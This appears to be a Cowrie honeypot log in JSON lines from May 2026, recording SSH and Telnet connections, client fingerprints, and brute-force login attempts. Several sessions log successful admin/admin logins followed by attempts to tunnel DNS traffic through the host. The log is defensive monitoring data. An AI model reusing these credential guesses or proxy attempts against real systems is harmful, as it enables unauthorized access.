{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/469514a9bac7ae1de0c710d158ecbbf87f6fcddc97000b2dba4960248131c90f","size":1727,"shasum":"469514a9bac7ae1de0c710d158ecbbf87f6fcddc97000b2dba4960248131c90f","duplicate":false,"duration":"5.7","message":"Closing TTY Log: var/lib/cowrie/tty/469514a9bac7ae1de0c710d158ecbbf87f6fcddc97000b2dba4960248131c90f after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:10.268018Z","src_ip":"192.42.116.102","session":"c9a7d9c5425c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:10.387302Z","src_ip":"192.42.116.102","session":"c9a7d9c5425c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":55840,"dst_ip":"159.203.135.109","dst_port":23,"session":"d121bf6683a2","protocol":"telnet","message":"New connection: 199.103.57.63:55840 (159.203.135.109:23) [session: d121bf6683a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:10.703293Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.97.194.90","src_port":43054,"dst_ip":"159.203.135.109","dst_port":23,"session":"4182ab05fee4","protocol":"telnet","message":"New connection: 123.97.194.90:43054 (159.203.135.109:23) [session: 4182ab05fee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:21.457595Z"}
{"eventid":"cowrie.session.closed","duration":14.32610273361206,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:35.783582Z","src_ip":"123.97.194.90","session":"4182ab05fee4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.80146241188049,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:47.504674Z","src_ip":"199.103.57.63","session":"d121bf6683a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:47.892304Z","src_ip":"150.107.233.91","session":"547b2d86ba4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":9874,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bbd6995d73f","protocol":"ssh","message":"New connection: 2.57.121.112:9874 (10.17.0.5:22) [session: 7bbd6995d73f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:49.822640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:49.826896Z","src_ip":"2.57.121.112","session":"7bbd6995d73f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:49.925702Z","src_ip":"2.57.121.112","session":"7bbd6995d73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sandbox","message":"login attempt [admin/sandbox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:50.398932Z","src_ip":"2.57.121.112","session":"7bbd6995d73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"samsung123","message":"login attempt [admin/samsung123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:51.500945Z","src_ip":"2.57.121.112","session":"7bbd6995d73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sams","message":"login attempt [admin/sams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:52.604455Z","src_ip":"2.57.121.112","session":"7bbd6995d73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"salt55","message":"login attempt [admin/salt55] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:53.707431Z","src_ip":"2.57.121.112","session":"7bbd6995d73f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"saints1","message":"login attempt [admin/saints1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:54.811129Z","src_ip":"2.57.121.112","session":"7bbd6995d73f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:55.915367Z","src_ip":"2.57.121.112","session":"7bbd6995d73f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":42590,"dst_ip":"159.203.135.109","dst_port":23,"session":"04ee88a6922c","protocol":"telnet","message":"New connection: 199.103.57.63:42590 (159.203.135.109:23) [session: 04ee88a6922c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:35:23.757889Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8084,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b610c59eb97","protocol":"ssh","message":"New connection: 87.251.64.176:8084 (10.17.0.5:22) [session: 7b610c59eb97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:35:41.125327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:35:41.129775Z","src_ip":"87.251.64.176","session":"7b610c59eb97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:35:41.226167Z","src_ip":"87.251.64.176","session":"7b610c59eb97","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:35:41.514640Z","src_ip":"87.251.64.176","session":"7b610c59eb97","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:35:41.613604Z","session":"7b610c59eb97","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:35:41.712182Z","src_ip":"87.251.64.176","session":"7b610c59eb97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:35:41.814173Z","src_ip":"87.251.64.176","session":"7b610c59eb97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.31692433357239,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:35:59.074701Z","src_ip":"199.103.57.63","session":"04ee88a6922c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.152.171.185","src_port":49030,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb91fce01b65","protocol":"ssh","message":"New connection: 8.152.171.185:49030 (159.203.135.109:22) [session: fb91fce01b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:36:56.400892Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:36:56.407732Z","src_ip":"8.152.171.185","session":"fb91fce01b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6236,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9a45d77db14","protocol":"ssh","message":"New connection: 87.251.64.176:6236 (10.17.0.5:22) [session: c9a45d77db14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:40:05.132588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:40:05.142001Z","src_ip":"87.251.64.176","session":"c9a45d77db14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:40:05.242600Z","src_ip":"87.251.64.176","session":"c9a45d77db14","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:40:05.543921Z","src_ip":"87.251.64.176","session":"c9a45d77db14","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:40:05.646402Z","session":"c9a45d77db14","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:40:05.746991Z","src_ip":"87.251.64.176","session":"c9a45d77db14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:40:05.850589Z","src_ip":"87.251.64.176","session":"c9a45d77db14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":56994,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f646f55f79f","protocol":"ssh","message":"New connection: 213.209.159.56:56994 (159.203.135.109:22) [session: 9f646f55f79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:40:47.050025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:40:47.054724Z","src_ip":"213.209.159.56","session":"9f646f55f79f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:40:47.136431Z","src_ip":"213.209.159.56","session":"9f646f55f79f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julieta","password":"julieta","message":"login attempt [julieta/julieta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:40:47.534289Z","src_ip":"213.209.159.56","session":"9f646f55f79f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julieta","password":"julieta1","message":"login attempt [julieta/julieta1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:40:48.619632Z","src_ip":"213.209.159.56","session":"9f646f55f79f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julieta","password":"julieta123","message":"login attempt [julieta/julieta123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:40:49.704612Z","src_ip":"213.209.159.56","session":"9f646f55f79f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julieta","password":"julieta1234","message":"login attempt [julieta/julieta1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:40:50.789333Z","src_ip":"213.209.159.56","session":"9f646f55f79f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julieta","password":"julieta12345","message":"login attempt [julieta/julieta12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:40:51.873666Z","src_ip":"213.209.159.56","session":"9f646f55f79f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:40:52.958975Z","src_ip":"213.209.159.56","session":"9f646f55f79f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.131.80.121","src_port":64129,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb8aa60475e2","protocol":"telnet","message":"New connection: 177.131.80.121:64129 (159.203.135.109:23) [session: cb8aa60475e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:43:03.095797Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31224,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdbaaba05e73","protocol":"ssh","message":"New connection: 87.251.64.176:31224 (10.17.0.5:22) [session: bdbaaba05e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:44:07.219937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:44:07.226041Z","src_ip":"87.251.64.176","session":"bdbaaba05e73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:44:07.328971Z","src_ip":"87.251.64.176","session":"bdbaaba05e73","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:44:07.621255Z","src_ip":"87.251.64.176","session":"bdbaaba05e73","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:44:07.720498Z","session":"bdbaaba05e73","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:44:07.819197Z","src_ip":"87.251.64.176","session":"bdbaaba05e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:44:07.918668Z","src_ip":"87.251.64.176","session":"bdbaaba05e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02720379829407,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:45:03.122890Z","src_ip":"177.131.80.121","session":"cb8aa60475e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.124.196.44","src_port":28206,"dst_ip":"159.203.135.109","dst_port":23,"session":"2918adc57c5d","protocol":"telnet","message":"New connection: 144.124.196.44:28206 (159.203.135.109:23) [session: 2918adc57c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:46:08.539222Z"}
{"eventid":"cowrie.session.closed","duration":12.572871208190918,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:46:21.111932Z","src_ip":"144.124.196.44","session":"2918adc57c5d","protocol":"telnet"}
